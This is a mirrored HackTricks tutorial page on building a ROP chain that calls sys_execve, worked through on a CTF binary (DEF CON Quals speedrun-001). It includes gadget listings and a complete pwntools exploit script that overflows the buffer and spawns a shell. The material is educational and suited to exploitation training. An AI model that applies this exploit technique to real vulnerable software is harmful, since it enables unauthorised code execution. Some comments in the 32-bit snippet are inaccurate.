mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-02 00:08:49 +00:00
191 lines
5.9 KiB
Markdown
191 lines
5.9 KiB
Markdown
# ROP - call sys\_execve
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
In order to prepare the call for the **syscall** it's needed the following configuration:
|
|
|
|
* `rax: 59 Specify sys_execve`
|
|
* `rdi: ptr to "/bin/sh" specify file to execute`
|
|
* `rsi: 0 specify no arguments passed`
|
|
* `rdx: 0 specify no environment variables passed`
|
|
|
|
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack).
|
|
|
|
## Control the registers
|
|
|
|
Let's start by finding **how to control those registers**:
|
|
|
|
```c
|
|
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|
0x0000000000415664 : pop rax ; ret
|
|
0x0000000000400686 : pop rdi ; ret
|
|
0x00000000004101f3 : pop rsi ; ret
|
|
0x00000000004498b5 : pop rdx ; ret
|
|
```
|
|
|
|
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
|
|
|
## Write string
|
|
|
|
### Writable memory
|
|
|
|
Frist you need to find a writable place in the memory
|
|
|
|
```bash
|
|
gef> vmmap
|
|
[ Legend: Code | Heap | Stack ]
|
|
Start End Offset Perm Path
|
|
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
|
```
|
|
|
|
### Write String
|
|
|
|
Then you need to find a way to write arbitrary content in this address
|
|
|
|
```python
|
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
|
```
|
|
|
|
#### 32 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
|
|
rop += popRdx # place value into EAX
|
|
rop += "/bin" # 4 bytes at a time
|
|
rop += popRax # place value into edx
|
|
rop += p32(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
|
|
rop += popRdx
|
|
rop += "//sh"
|
|
rop += popRax
|
|
rop += p32(0x6b6000 + 4)
|
|
rop += writeGadget
|
|
```
|
|
|
|
#### 64 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
```
|
|
|
|
## Example
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
target = process('./speedrun-001')
|
|
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
|
|
|
# Establish our ROP Gadgets
|
|
popRax = p64(0x415664)
|
|
popRdi = p64(0x400686)
|
|
popRsi = p64(0x4101f3)
|
|
popRdx = p64(0x4498b5)
|
|
|
|
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
|
writeGadget = p64(0x48d251)
|
|
|
|
# Our syscall gadget
|
|
syscall = p64(0x40129c)
|
|
|
|
'''
|
|
Here is the assembly equivalent for these blocks
|
|
write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000)
|
|
rop += writeGadget
|
|
|
|
'''
|
|
Prep the four registers with their arguments, and make the syscall
|
|
|
|
pop rax, 0x3b
|
|
pop rdi, 0x6b6000
|
|
pop rsi, 0x0
|
|
pop rdx, 0x0
|
|
|
|
syscall
|
|
'''
|
|
|
|
rop += popRax
|
|
rop += p64(0x3b)
|
|
|
|
rop += popRdi
|
|
rop += p64(0x6b6000)
|
|
|
|
rop += popRsi
|
|
rop += p64(0)
|
|
rop += popRdx
|
|
rop += p64(0)
|
|
|
|
rop += syscall
|
|
|
|
|
|
# Add the padding to the saved return address
|
|
payload = "0"*0x408 + rop
|
|
|
|
# Send the payload, drop to an interactive shell to use our new shell
|
|
target.sendline(payload)
|
|
|
|
target.interactive()
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|